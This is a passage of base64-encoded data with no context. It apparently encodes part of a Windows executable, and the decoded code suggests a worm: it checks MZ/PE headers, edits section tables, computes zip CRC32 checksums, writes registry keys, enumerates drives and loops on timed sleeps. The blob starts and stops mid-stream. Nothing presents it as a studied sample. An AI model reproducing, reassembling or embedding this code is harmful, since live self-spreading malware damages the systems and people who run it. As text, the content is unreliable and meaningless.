AFkz0moaWffxi/KDxkFX6KkQAACoAVl0GPbDBHQTV+iZEAAAWTPSahpZ9/GL8oPGYVfohhAA AKgBWXQY9sMBdBNX6HYQAABZM9JqCln38Yvyg8Ywi8ZfXlvDU4tcJAxWV4t8JBiL8zv7fhJq AOhLEAAAK/sz0vf3WYvyA/OLXCQQM/+F9n4S/3QkHOgr////iAQfRzv+WXzuagLoG////1mI A4AkHwBqAVhfXlvDVle/kOBAADP2V+jZPQAAhcBZfhiKRCQMOoaQ4EAAdBFXRujBPQAAO/BZ fOgzwF9ew2oBWOv4U4pcJAhWV4TbfD8PvvNW6HNIAACFwFl1NVbolkgAAIXAWXUqv5jgQAAz 9lfogT0AAIXAWX4UOp6Y4EAAdBBXRuhtPQAAO/BZfOwzwOsDagFYX15bw1aLdCQIigZQ/xVo 0EAAhcB0C4B+AYB2BWoBWF7DM8Bew4tEJASKADyhdAc8o3QDM8DDagFYw1WL7IHs/AcAAItF HFNWV4t9DDP2iXX8gCcAOXUQiTB/CYtFCEDp3AEAAItdCIoDUOhA////hcBZdVCJXQyDfSAA dCv/dQzof////4XAWXQN/3UM6JP///+FwFl0Lf91DOiG////hcBZdARG/0UMi0UQRv9FDEg7 8H0Qi0UMigBQ6PD+//+FwFl0s4tFEEg78IlFDA+NagEAAIoEHlDo0/7//4XAWQ+EvgAAAIoE HlDoi/7//4XAWXULRjt1DHzs6UIBAACKBB5Q6Kj+//+FwFl0G4tN/IoEHv9F/EY7dQyIBDl9 CYtFGEg5Rfx814tFGEg5Rfx8HIN9/AB0FotF/IoEOFDoN/7//4XAWXUF/038deqLRfyFwHwE gCQ4ADPbOB90FYoEO1DoE/7//4XAWXQHQ4A8OwB1640EO1CNhQT4//9Q6O86AACNhQT4//9Q V+jiOgAAi0X8g8QQK8M7RRQPjYQAAACLXQiDfSAAD4SKAAAAi0UIgCcAA8Yz21DoR/7//4XA WXRZi0UQg8D+iUUgi0UIA8aJRRD/dRDoSv7//4XAWXUZi0UQigiIDDuKSAFDRkCIDDtDRkCJ RRDrBkZGg0UQAjt1IH0Xi0UYg8D+O9h9Df91EOju/f//hcBZdbiAJDsAO10UfBCLRRzHAAEA AACLRQgDxusMi10Ii0UcgyAAjQQeX15bycNVi+y4HBAAAOgvQgAAU1ZXjU3k6O/d//+LfQyN RfhqAVD/dQgz241N5Igf6Nrd//+L8DvzD4QrAQAAi1X4g/oKD4IXAQAAiJ3k7///iV38/3UY jU38Uf91FP91EFJXUOiR/f//i034g8Qci9Er0APWg/oFD47iAAAAOV38dNGJXQgz//91GI1V /CvIUgPO/3UU/3UQUY2N5O///1FQ6FP9//+DxBw5Xfx0A/9FCItN+IvRK9AD1oP6BXYJR4H/ ECcAAHy/OV0IdBFT6HQMAAAz0ln394tN+IlVCIv+iV30/3UYjUX8K89QA87/dRSNheTv//// dRBRUFfo9/z//4PEHDld/Iv4dBk5XQh0Lv9NCI2F5O///1D/dQzoDTkAAFlZi034i8ErxwPG g/gFdgz/RfSBffQQJwAAfKSNTeTogd3///91DOjROQAAWTPJO0UQD53Bi8FfXlvJw4gfjU3k 6F/d//8zwOvtVYvsi1UMUzPbVoXSdAIgGotFEIXAdAOAIACLdQiAPkB0HFeL+ovGK/6KCITJ dA6F0nQDiAwHQ0CAOEB17F+F0nQEgCQTAIA8MwCNBDNeW3UEM8Bdw4N9EAB0C1D/dRDoXzgA AFlZagFYXcNVi+xRU4pdCFZXvqTgQACNffxmpYD7IKR+NID7fn0vD77zVuj1QwAAhcBZdShW 6BhEAACFwFl1HYD7QHQYgPsudBM6XAX8dA1Ag/gCfPQzwF9eW8nDagFY6/b/dCQE6J3///9Z w1WL7LgAIAAA6PY/AAD/dQiNhQDg//9Q6Nc3AAD/dQyNhQDw//9Q6Mg3AACNhQDg//9Q6BiK AACNhQDw//9Q6AyKAACNhQDw//9QjYUA4P//UOjtQwAAg8QgycNWvkTyQABW/3QkDOiINwAA /3QkFFboQvj//1D/dCQc6IQ3AACDxBhew1OLXCQIVldT6FI4AACL+FmD/wR8JIP/DH8fM/aF /34UD74EHlDoOEMAAIXAWXQKRjv3fOxqAVjrAjPAX15bw1WL7IHsBAEAAFNWV42F/P7//zP/ UFdXV/91COh7OAAAvvzxQABXVuj49///i9iDxBw7334gV1bouPf//1CNhfz+//9Q6LeIAACD xBCFwHQnRzv7fOCNhfz+//9onv1AAFDomogAAPfYG8BZg+BjWYPAnF9eW8nDi8fr91WL7FYz 9ldWaiBqAlZqA2gAAADA/3UI/xXw0EAAi/iJdQiD//90Izl1DHQejUUIVlD/dRD/dQxX/xVs 0EAAV/8VJNFAAGoBWOsCM8BfXl3DVYvsU1dqAGonagNqAGoDaAAAAID/dQj/FfDQQACDZQgA i/iDy/87+3QdjUUIUFf/FfTQQACDfQgAi9h0A4PL/1f/FSTRQACLw19bXcNVi+yD7BSNTezo 5dn//41F/GoBUI1N7P91COjX2f//hcB0DY1N7OiF2v//agFYycMzwMnDVYvsgewYAQAAVmoE agWNRexqAlDof/j//4PEEI2F6P7//1BoBAEAAP8VeNBAAIt1CI1F7FZqAFCNhej+//9Q/xV0 0EAAVugjAAAAVuiDNgAAWVlIeAaAPDAudfcDxmjc8UAAUOh7NQAAWVleycNqIP90JAj/FYDQ QAD/dCQE/xV80EAAw1WL7IHsSAMAAFZX/3UIjYX4/f//M/ZQ6EM1AACNhfj9//9Q6Cc2AACD xAyFwHQXgLwF9/3//1yNhAX3/f//dQaAIABqAV6Nhfj9//9osOBAAFDoGDUAAFmNhbj8//9Z UI2F+P3//1D/FYzQQACL+IP//w+E1AAAAP91CI2F/P7//1Do2DQAAFmF9ll1E42F/P7//2hE 4EAAUOjRNAAAWVmNheT8//9QjYX8/v//UOi8NAAA9oW4/P//EFlZdFuNheT8//9orOBAAFDo oDMAAFmFwFl0Wo2F5Pz//2io4EAAUOiJMwAAWYXAWXRD/3UQjYX8/v//agFQ/1UMg8QMhcB0 Lf91EI2F/P7///91DFDo7P7//4PEDOsW/3UQjYX8/v//agBQ/1UMg8QMhcB0Fo2FuPz//1BX /xWI0EAAhcAPhTP///9X/xWE0EAAXzPAXsnDVYvsUYF9DAAwAQBTVld8Kmog/3UI/xWA0EAA M9tTaiBqA1NqA2gAAADA/3UI/xXw0EAAi/iD//91BzPA6YQAAACNRfxQV/8V9NBAAIvwO3UM fhVTU/91DFf/FZTQQABX/xWQ0EAA61NqAlNTV/8VlNBAAItFDCvGvgAACACJRQiLzpn3+TvD ix1s0EAAfheJRQyNRfxqAFBWaHAZQQBX/9P/TQx17I1F/GoAUItFCJn3/lJocBlBAFf/01f/ FSTRQABqAVhfXlvJw1ZqAGonagNqAGoDaAAAAID/dCQg/xXw0EAAi/CD/v91BDPAXsOLRCQM V41IEFGNSAhRUFb/FTDRQABWi/j/FSTRQACLx19ew1ZqAGonagNqAGoDaAAAAMD/dCQg/xXw 0EAAi/CD/v91BDPAXsOLRCQMV41IEFGNSAhRUFb/FZzQQABWi/j/FSTRQACLx19ew1WL7IPs FFONTezof9b//41F/GoBUI1N7P91COhx1v//i9iF23Rwg30QAHQmgX38AJABAHYdagDojgUA AFkz0moKWffxg8JMweIKO1X8cwOJVfyLRfxWA8BQ6JQ6AACL8FmF9nQmi0X8A8BQagBW6OAx AABqSP91/FZT6MTO//+LTQyDxByFyXQCiQGNTezouNb//4vGXlvJw1WL7IHsBAEAAFNWV4t9 CDPbahRTV4id/P7//+iaMQAAg8QMOB2EHUkAdD5T6AAFAABZM9JqA1n38YXSdCxqAWoKjYX8 /v//UVBohB1JAOib9///g8QUhcB0D42F/P7//1BX6LMxAABZWTgfD4WLAAAAOB2AHEkAdDZT 6LIEAABZM9JqA1n38YXSdCSNhfz+//9TUFNTaIAcSQDo5jIAAI2F/P7//1BX6G4xAACDxBw4 H3VJU+h4BAAAqA9ZdSu+UP1AAFNW6ETy//9TiUUI6F4EAAAz0vd1CFJW6P/x//9QV+g0MQAA g8QcOB91D2oEagZqAlfo1fP//4PEEDldDHQrvvzxQABTVugB8v//U4lFCOgbBAAAM9L3dQhS Vui88f//UFfoATEAAIPEHDldEHQN/3UQV+jwMAAAWVnrMDldFHQrvtzxQABTVui/8f//U4lF COjZAwAAM9L3dQhSVuh68f//UFfovzAAAIPEHF9eW8nDVYvsg+wQU4tFGFZX/3UUM9uDz/+J XfxTiX34/3UQiV30iRjoHzAAAIt1CIoGUOgc+P//g8QQhcAPhIAAAACKBlDoCfj//4XAWXRV i0UMi95IiUUIi0UQK8aJRfDrA4tF8IoLiAwYigM8QHUGi030iU34PC51A4t99P9F/EOLRfz/ RfQ7RQh9FotFFEg5RfR9DYoDUOi29///hcBZdcAz24tF9ItNECt9+IAkCACD/wJ+DGoBWDlF +A+PiwAAAINN+P+DTfT/iV38ZoseUzP/6NX3//+FwFl0fFPoyvf//4XAWXRLi0UMSCF9DIlF CItFEID7QIgcB3UDiX34gPsudQOJffSDRQwEg0X8AotFDEc7RQh9GotFFEg7+H0Si0X8Zosc MFPof/f//4XAWXW/i0UQgCQHAItF9CtF+IP4An4NagFYOUX4fgWLTRiJAYtF/APG6wONRgFf XlvJw1WL7IHsGAQAAFMz21aNTeiJXfzoDdP//41F+GoBUI1N6P91COj/0v//i/A783UEM8Dr Y1eL/otF+IvPK86NUP07yn1HjU38K8dRjY3o+///aAAEAACNRDD9UVBX6EL+//+DxBSDffwA i/h0yv91FI2F6Pv///91EFD/dQzoA+///4PEEIXAfq5D66uNTejoT9P//4vDX15bycNVi+xR UYtFGINN+P9QagD/dRSJRfzoNi4AAIPEDI1FGFD/dQz/dQj/FVTQQACFwHQFagFYycONRfxQ jUX4/3UUUGoA/3UQ/3UY/xUU0EAA/3UY/xVc0EAAM8DJw1WL7I1FDFD/dQz/dQj/FQzQQACF wHQFagFYXcP/dRToIC8AAFlQ/3UUagFqAP91EP91DP8VENBAAP91DP8VXNBAADPAXcNVi+yB 7AwBAACNRfxWUDP2/3UM/3UI/xVU0EAAhcB0BDPA61eNhfT+//9oBAEAAFBW/3X8/xVY0EAA hcB1LzlFEHQjIUX4/3UUjUX4UI2F9P7//1D/dQz/dQj/VRCDxBSDffgAdQNG67uL8OsDagFe /3X8/xVc0EAAi8ZeycNVi+yB7BQIAABTjUX8VlD/dQy+AAQAADPbiXXw/3UIiXX4/xVU0EAA hcB0BDPA63ONRfiJdfBQjYXs9///UI1F7FCNRfBqAFCNhez7//+JdfhQU/91/P8VTNBAAIXA dTWDfewBdSg5RRB0IyFF9P91FI1F9FCNhez7//9Q/3UM/3UI/1UQg8QUg330AHUDQ+ufi/Dr A2oBXv91/P8VXNBAAIvGXlvJw4N8JAQAdQmDPWwZQQAAdRf/FaDQQABQ6LI0AABZ6LY0AACj bBlBAOmsNAAAVYvsg+xUVjP2akSNRaxWUOhILAAAg8QMjUXwx0WsRAAAAFCNRaxQVlZWVlZW /3UM/3UI/xWk0EAA99gbwF4jRfDJw1WL7IPsFFNXjU3s6EXQ//+NRfxqAVCNTez/dQgz2+g1 0P//i/iF/3RGi038uAAQAACBwRj8//9WO8iL8HYmjQQ+UGjA4EAA6D4rAABZhcBZdA+LRfxG BRj8//878HLf6wNqAVuNTezoptD//4vDXl9bycNVi+yB7AAEAABoafdAAP91EOj+8///WYXA WXRzjYUA/P//aAAEAABQgKUA/P//AP91EP91DP91COga/f//jYUA/P//UOhE////g8QYhcB0 P4tNGGoBWP91DIkBi00UaHgaSQCJAeidKwAAjYUA/P//UGh8G0kA6IwrAAD/dRBodBlJAOh/ KwAAg8QYM8DJw2oBWMnDVYvsgewACAAA/3UMjYUA/P//UOhbKwAAjYUA/P//aETgQABQ6For AAD/dRCNhQD8//9Q6EsrAACNhQD8//9oafdAAFDoN/P//4PEIIXAdHmNhQD4//+ApQD4//8A aAAEAABQjYUA/P//aG/3QABQ/3UI6Ez8//+NhQD4//9Q6Hb+//+DxBiFwHQ/i00YagFY/3UM iQGLTRRoeBpJAIkB6M8qAACNhQD4//9QaHwbSQDovioAAP91EGh0GUkA6LEqAACDxBgzwMnD agFYycNVi+yB7BwFAACDZfwAgz2IHkkAAHUlagRoRPJAAOhH6///jU38UWj9R0AAUGgCAACA 6GH8//+DxBjrPI2F6Pv//2oCUOjE8v//jYXo+///UGh4GkkA6EsqAACNRfxQjYXo+///aGlH QABQaAIAAIDoofz//4PEIItF/IXAo4weSQAPhdEAAABWjYXk+v//aAQBAABQ/xWo0EAAM/aA ZegAjUXoaGn3QABQ6PcpAABZjUXoWWoEagRqAlDo1ioAAFmNRAXoUOiP7P//jUXpUOgufAAA jYXk+v//UI2F6Pv//1DovykAAI2F6Pv//2hE4EAAUOi+KQAAjUXoUI2F6Pv//1DorikAAI2F 6Pv//2jc8UAAUOidKQAAjYXo+///UOhp8///g8Q4hcB0CkaD/goPjGf///+NRehQaHQZSQDo cikAAI2F6Pv//1BofBtJAOhRKQAAg8QQXmoBWMnDi0QkBGaLTCQIZgFIAmaLSAJmg/kBfQ5m g0ACHmaLSAJm/wjr7GaDeAIffhJmg0AC4maLSAJm/wBmg/kff+5miwhmg/kBfQaDwQxmiQhm iwhmg/kMfgaDwfRmiQjDi0QkDFaLdCQIV4t8JBCAJwCAIACAPlx1WIB+AVx1UlNouOBAAFfo wCgAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6AAPWW4A6AHUE agLrElL/dCQY6IAoAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aHwbSQBQ6FkoAABZ jYX8/v//WTP2aAQBAABQVv8VCNFAAFaNhfD7//9WUI2F9Pz//1ZQ6JcpAABWjYX4/f//VlCN hfz+//9WUOiBKQAAjYX4/f//UI2F8Pv//1Do03kAAIPEMPfYG8BeQMnDVot0JAyD/kRyMYtM JAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99AjwsMzwF7DVYvs U4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw/IPABDP/hcmN RNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87+XICM8BfXltd w1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINlCAADwYXAfmaL XRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfomv///4PEFIXA dDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUIfJ1qAVhfXltd wzPA6/dVi+yD7DxTVo1N1Ohuyv//jU3E6GbK//+NRfxqAVAz9v91DI1NxIl1+Il1/Il19Il1 7OhKyv//i9g73old8HUHM8DpSAEAAItFEItN/I2EAQAQAABQ/3UI6Dny//9ZjUX4WVZQ/3UI jU3U6BLK//87xolFDA+E5gAAAFf/dfhqA1DoZP7//4v4g8QMO/4PhMIAAAD/dfxqA1PoTP7/ /4vwg8QMhfYPhKoAAAD/dfxT6Pf9////dfiJRRD/dQzo6f3//4tNEIPEEIucGYwAAACLTQwD wYlF5ImYjAAAAItHBIlFEAPDiUUMi0YIiUcIiwaJB4tHDIt/CItWBAP4iVXoi1YIi3YMA3Xw iX3sjTwIi8IrRfADxjtF/Hc6UlZX6DAqAABT/3UQ/3XoV1foKf7//4PEIIlF9Gb3RQz/D3QN i0UMwegMQMHgDIlFDItF5ItNDIlIUI1N1Ojeyf//M/ZfjU3E6NPJ//85dfR0H4tF7DtF/HMD i0X8UP91COgV8f///3UI6E0BAACDxAyLRfReW8nDVYvsg+wUU1aNTezo28j//zP2jUX8VlD/ dQiNTezozMj//4vYO951BzPA6b0AAABX/3X8U+jf/P//i/hZhf9ZD4SBAAAA/3X8agNT6Af9 //+DxAyFwHRvahCNNB9aiZaMAAAAi0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gI A/k7fQxzA4t9DGb3x/8PdAfB7wxHwecMjQQZi8gryztN/HMMUmoAUOj/IwAAg8QMi4bsAAAA hcB0A4lGKGoBXusDi30IjU3s6NfI//+F9nQLV/91COgl8P//WVn/dQjoWwAAAFmLxl9eW8nD VYvsUYtFDDPJ0eiJTfx0KYtVCFaL8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJ TfxeiU0Ii0UIwegQi1X8ZgPCiUUIi0UIA0UMycNVi+yD7BRWV41N7OiYx///g2X8ADP2jUX8 VlCNTez/dQjohcf//4v4hf90O/91/FfooPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb ////WYkGWesDi0UIi/CNTezoAMj//4vGX17Jw1WL7IHsAAgAAIM9iB5JAAB1NYM9qB5JAAB0 LI2FAPj//2jIAAAAUGr//3UIagFqAP8VzNBAAI2FAPj//1BqAP8VqB5JAMnDM8DJw1WL7IPs DFNWV4tFCIlF+ItFDIlF9It1+It99FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlm NSCDZoHzuO3+znXrM8gz00911ffS99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexMAQAA U1ZXagNfjU3U6HPG////dRDogCMAAIvwWY1F7IPGIFD/FeTQQABmgWXu/v8z21PoifX//1kz 0moeWffxZilV9maDffY8cgZmx0X2AQCKRfaLTfSD4D/B4QYLwYpN+NDpweAFg+EfC8GKTf5m iUX8i0Xsg8BEg+EfweAJM8GKTe6D4Q9mJR/+weEFC8GKTfJmiUX+Mk3+g+EfZjPBOV0UZolF /nQDagJfaiD/dQj/FYDQQABTaiBXU2oDaAAAAMD/dQj/FfDQQACD+P+JRQh1BzPA6Q4BAABq AlNTUP8VlNBAAI1F6GoBUI1N1P91DOiRxf//O8OJRQwPhNwAAACLRejGhbb+//90UGbHhbf+ //8AgP91DGaJtbn+//+Jhbv+//+Jhb/+//+IncP+///oXP7///91EImFxP7//4tF/MaFzP7/ /xSJhcj+///Ghc3+//8w6D4iAAD/dRBmiYXO/v//jYXU/v//iZ3Q/v//UOgyIQAAD7f+jUf+ UI2Ftv7//1DoCP7//4s1bNBAAIPEHDldFGaJhbT+//90EY1F5FNQahRoiP1AAP91CP/WjUXk U1CNhbT+//9XUP91CP/WjUXkU1D/dej/dQz/dQj/1o1N1Ohnxf//agFb/3UI/xUk0UAAi8Nf XlvJw1WL7FGLDaweSQCDZfwAagGFyVh0CI1F/GoAUP/RycNVi+yB7GAGAACLRQhTM9vHRfBA BgAAO8OJXfx1Bv8VrNBAAI1NCFFqKFD/FSDQQACFwA+EngAAAFaNRfRXUP91DFP/FQTQQACF wHR8i0X0izUI0EAAiUXki0X4iUXojUXwUI2FoPn//1CNReBqEFBTiV3g/3UIiV3s/9aLPeDQ QAD/14XAdUGLRfSDjaz5//8CiYWk+f//i0X4iYWo+f//U1ONhaD5//9qEFBTx4Wg+f//AQAA AP91CP/W/9eFwHUHx0X8AQAAAP91CP8VJNFAAItF/F9eW8nDVYvsgeyUAAAAU1ZXagFbU+jG 8v//vgQBAAAz/1ZXaIQdSQDoPB8AAFZXaIAcSQDoMB8AAFZXaHwbSQDoJB8AAFZXaHgaSQDo GB8AAFZXaHQZSQDoDB8AAIPEQGjQ4EAAaKweAABo1OBAAOgO4f//aJAeSQDoHdL//4PEEP8V tNBAACUAAACAiT2YHkkAo4geSQCNhWz///9Qx4Vs////lAAAAP8VsNBAAIO9cP///wV1Djmd dP///3UGiR2YHkkA6Fr0//++ANAHAFboMycAADvHWaNwGUkAdQQzwOskVldQ6H4eAADo1QAA AFNo4P1AAOiS3///UFfoKv7//4PEHIvDX15bycNVi+yD7BRXjU3s6InC//+NRfxqAFCNTez/ dQjoe8L//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6GsfAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOgvKwAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+rB4AAI1f/FNWV+ju 3///i0UMVoPAFFBX6NciAABT6Eff//9TVlfodt///4PEKGoBXluNTezoosL//4vGXl/Jw1NV VldqAmhv+0AA6Lje//+LHSjRQABZWVD/04s1LNFAAIvohe2/b/xAAHQ5agFX6JTe//9ZWVBV /9ZqBFejoB5JAOiB3v//WVlQVf/WagVXo5weSQDobt7//1lZUFX/1qOkHkkAagNob/tAAOhX 3v//WVlQ/9OL6IXtdBNqA1foRN7//1lZUFX/1qOoHkkAv6T9QABX/9OL2IXbdBNqAVfoI97/ /1lZUFP/1qOsHkkAX15dW8NVi+yB7EwGAABTVleNTeToFsH//4t9CDPbV4ld9Oiz8P//hcBZ D4VeAgAAV+i8+f//hcBZD4VPAgAAvtf8QABTVuj93f//iUX8jYW4+v//U1BTU1foYR4AAIPE HDld/IldCH4x/3UIVuim3f//OBhZWXQXUI2FuPr//1Do3OT//1mFwFkPhf8BAAD/RQiLRQg7 Rfx8z42FyP7//1Doyub//42FvPv//8cEJAQBAABQU/8VCNFAAI2FyP7//1NQjYW8+///UP8V ZNBAAIXAD4S2AQAAizWA0EAAjYXI/v//aiBQ/9ZoADABAI2FyP7//1dQ6Lb1//+DxAyFwA+E ewEAAI1F+FNQV41N5OgewP//O8OJRQgPhGIBAACBffgAMAEAD4ZNAQAAgX34AAAwAA+DQAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6GodAACNhbT5//9QjYXE/f//UOj8GwAAjYW8+/// UI2FxP3//1Do6RsAAI2FxP3//2is4EAAUOjYGwAAagRqA42FwPz//2oDUOhq3v//D76FwPz/ /1DoJx8AAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6J0bAACNRfRQ/3X4/3UI6JUYAACDxBQ7 w4lFCI1N5A+ElQAAAOgAwP///3X0jYXE/f///3UIUOih5P//g8QMjYXE/f//aidQ/9aNRcxQ V+j75///WYlF/FlqIFf/1lONhcj+//9XUP8VZNBAAI2FyP7//1Doo+X//42FxP3//1Bo1PBA AOgIGwAAaMDgQABX6ED8//+DxBQ5Xfx0DI1FzFBX6PDn//9ZWf91COh8HwAAWWoBWOsXjU3k 6Gu///+Nhcj+//9Q6FHl//9ZM8BfXlvJw1WL7IHsJAMAAFaNTejoiL7//4Nl/ACNRfhqAVD/ dQiNTejodr7//4vwhfYPhIUAAACNhdz8//9qAFCNheD9//9QjYXk/v//UP91COjaGwAAjYXg /f//UI2F5P7//1DobBoAAI2F3Pz//1CNheT+//9Q6FkaAACNheT+//9o2PFAAFDoSBoAAI2F 5P7//2jc8UAAUOg3GgAAjUX8UP91+FboQBgAAIvwg8RAhfaNTeh1Ceihvv//M8DrVOiYvv// /3X8jYXk/v//VlDoO+P//1bohR4AAIPEEDP2/xW80EAAUI2F5P7//1DoFe3//1mFwFl0GWr/ UP8VuNBAAI2F5P7//1DoQeT//1lqAV6Lxl7Jw1WL7IHsBAEAAI2F/P7//2gEAQAAUGhAGUEA agVoRPJAAOhM2v//WVlQaAEAAIDoy+r//2oBjYX8/v///3UM/3UIUOgd6v//g8QkycNVi+yB 7AwCAABTM9s5XQxWV4ld/A+FiwEAAL5n+UAAU1boMNr//4v4jYX0/f//UI2F+P7//1BTU4id +P7///91COiHGgAAg8QcTzv7iV0MfjH/dQxW6MzZ//9QjYX4/v//UOjLagAAg8QQhcB1DDl9 DHQHx0X8AQAAAP9FDDl9DHzPjYX0/f//UI2F+P7//1Do3RgAAL73+kAAU1botdn//4PEEDP/ O8OJRQx+KFdW6HLZ//9QjYX4/v//UOhxagAAg8QQhcB1B8dF/AEAAABHO30MfNg5Xfx0KWoB aMz9QADoQNn//4t1CFBW6H/g//+DxBCFwHUPVujv4v//WemiAAAAi3UIVugm4f//i/hZO/t8 NVZogBxJAOhEGAAAWYP/BFl9NlZohB1JAOgyGAAAagFoANAHAP81cBlJAFbo1ej//4PEGOsT g/+cdQ5Tav9q/1boAg8AAIPEEIsVsB5JAGnSLAEAAIH6WBsAAH4XU+gE6///WTPSagVZ9/GD wgdp0ugDAABS/xUg0UAA/wWwHkkAgT2wHkkAECcAAH4GiR2wHkkAagFYX15bycNVi+yB7AwD AABTM9uNhfT8//9TUI2F/P7//1BT/3UI6PwYAACDxBQ5XQx1bTldEHU/jYX8/v//UOhoGAAA O8NZdAeInAX7/v//jYX4/f//U1BTjYX8/v//U1DowRgAAI2F+P3//1Do29///4PEGOsNjYX0 /P//UOjK3///WYXAdBhqAWgA0AcA/zVwGUkA/3UI6NXn//+DxBBqAVhbycNWV4t8JAxqAV5o SvlAAFfoD9///1mFwFl0JWhJ+UAAV+j+3v//WYXAWXQCM/ZWaLtbQABX6H7h//+DxAxqAVhf XsNVi+yB7AwLAACLRRRTVlf/dQwz24kYjYX09P//UOiyFgAAjYX09P//aETgQABQ6LEWAAD/ dRCNhfT0//9Q6KIWAACNhfT4//9oAAQAAFCNhfT0//9TUGgCAACA6MTn//+NhfT4//9QjYX8 /v//UOhhFgAAg8Q0jYX0+P//aAQBAABQjYX8/v//UP8VwNBAAL5n+UAAU1boLdf//4lFFI2F 9Pz//1NQU42F9Pj//1NQ6IsXAACDxBwz/zldFH4rV1bo09b//zgYWVl0E1CNhfT8//9Q6Ane //9ZhcBZdQZHO30UfNo7fRR8JI2F9Pj//2j//EAAUOjn3f//WYXAWXQNjYX0+P//UOh5+P// WVONhfj9//9TUI2F/P7//1CNhfT4//9Q6BYXAACNhfj9//9QjYX8/v//UOioFQAAjYX8/v// UOh2/v//g8QgaOgDAAD/FSDRQABqAVhfXlvJw1WL7IHsCAEAAICl+P7//wCNhfj+//9qAVDo wN3//41F/FCNhfj+//9onFxAAFBoAgAAgOgw5///g8QYaIDuNgD/FSDRQADrwVWL7IN9DAB1 NIN9EAB1CGoF/xUg0UAA/3UI6N/d//+FwFl8FIP4A30P/3UIaIQdSQDo+BQAAFlZagFYXcP/ dQjo0/3//4XAWXQEM8BdwzPAOUUQD5TAXcNVi+yB7AwBAACApfT+//8AU42F9P7//2gEAQAA UGoBaEn5QADocdX//1lZUGhE8kAAaAIAAIDo6+X//42F9P7//1Doef3//w++hfT+//+Knfb+ //9Q6PoXAACDxByDZfgAiEX/ikX4BGE6Rf90PICl9v7//wCIhfT+//+NhfT+//9Q/xXE0EAA g/gDiJ32/v//dRf/dQiNhfT+//9oQl5AAFDo0N7//4PEDP9F+IN9+Bp8sTPAW8nCBABWaGH5 QAD/dCQQ6A0UAACLdCQQVujzFAAAg8QMM8mFwH4LgDwxQHQFQTvIfPVIO8h8BDPAXsONRDEB UP90JBDo6BMAAFlZagFYXsNVi+yB7BgDAABWi3UIjYXo/P//UFbom////1mFwFl1BzPA6boA AACDfRAAdBJW6G+4////dQxW6ADD//+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PjL//9q BGoKjUWcagNQ6BzW//+DxBCNRZyNjez9//9Q6FvQ//+NRmSNjez9//9Q6ArR//9WjY3s/f// 6FXQ//+Njez9///o6Mz//4XAdBCNjez9///odMz//+lr/////3UM6AQUAABZUI2N7P3///91 DOgYzf//jY3s/f//i/DoSsz//zPAhfYPlMBeycNVi+y4YCwAAOjwGgAAU1ZXaAAAEADoEhsA ADPbWTvDiUXodQlfXjPAW8nCBADo//H//4XAdQ1oYOoAAP8VINFAAOvqaADQBwD/NXAZSQDo 7Pj//1lZagHou/3//42FjPP//2gEAQAAUFP/FQjRQACNheD+//9Q6I7c//9ZiV386K3x//+F wHUKaGDqAADpLgMAAI2F4P7//1DoN9z//4XAWXVajYXg/v//U1CNhYzz//9Q/xVk0EAAjYXg /v//aiBQ/xWA0EAAjYXg/v//aAAwAQBQ6AXt//9T6Cbl//8z0rkAKAAA9/GNheD+//+BwgAy AQBSUOjm3f//g8QUU/81cBlJAOjY0v//OUX8WVmJRewPjaQCAABowB4AAI2FoNP//2jA4EAA UOhwFgAAjYWg0///iJ204///UI2F4P7//1Do6vL//2gkCQAAjYWQ9P//U1DoNREAAP91/P81 cBlJAOhL0v//g8QoOBiJReQPhDgCAABQjYX09P//UOhsEQAAU+h95P//M9KDxAz3dew7Vfx1 AUI7Vex8AjPSUv81cBlJAOgJ0v//i/hZWTgfdRBT/zVwGUkA6PXR//9Zi/hZjYXg/v//UI2F PPr//1DoGhEAAI2FWPX//1dQ6A0RAACNhZD0//9XUOgAEQAAagGNhZD0////dehQ6B79//+D xCSFwHQaagFoABAAAFdo1OBAAOgQ0f//g8QQ6Y0BAABTaNTgQADot9H//4NN9P9ZWYlF+Ild 8GgkCQAAjYWQ9P//U1DoRRAAAI2F4P7//1CNhTz6//9Q6JIQAACNhVj1//9XUOiFEAAA/3Xk jYX09P//UOh2EAAAU+iH4///M9KDxCj3dfiL8jt19HUBRjt1+HwCM/ZWaNTgQADoEtH//1CN hZD0//9Q6EEQAABqAY2FkPT///916FDoX/z//4PEHIXAdRD/RfCJdfSDffAFD4xi////g33w BQ+MzgAAAL4I/kAAU1bo99D//1OJRfjoEeP//zPSg8QM93X4O1X4iVX0fAOJXfSNhWDy//9Q jYW0/f//UFfoENf//42FtP3//2g04EAAUOjSDwAA/3X0Vuh90P//UI2FtP3//1DovA8AAGgk CQAAjYWQ9P//U1DoOg8AAI2F4P7//1CNhTz6//9Q6IcPAACNhVj1//9XUOh6DwAAg8RAjYX0 9P///3XkUOhoDwAAjYW0/f//UI2FkPT//1DoVQ8AAGoBjYWQ9P///3XoUOhz+///g8Qc/0X8 i0X8O0XsD4xc/f//aMAnCQD/FSDRQADptPz//1WL7IHsYAUAAGahjBBBAFZXagdmiUWgWTPA jX2i86tmq6GIEEEAjX3oiUXkM8CrZqsz/8dF4CAAAAA5PYgeSQCJffSJffgPheoBAAA5PaAe SQAPhN4BAACLdQg793QljUXgUI1FgFD/FZjQQACNRYBQjUYCUOh4YAAAWYXAWQ+EsgEAAI2F 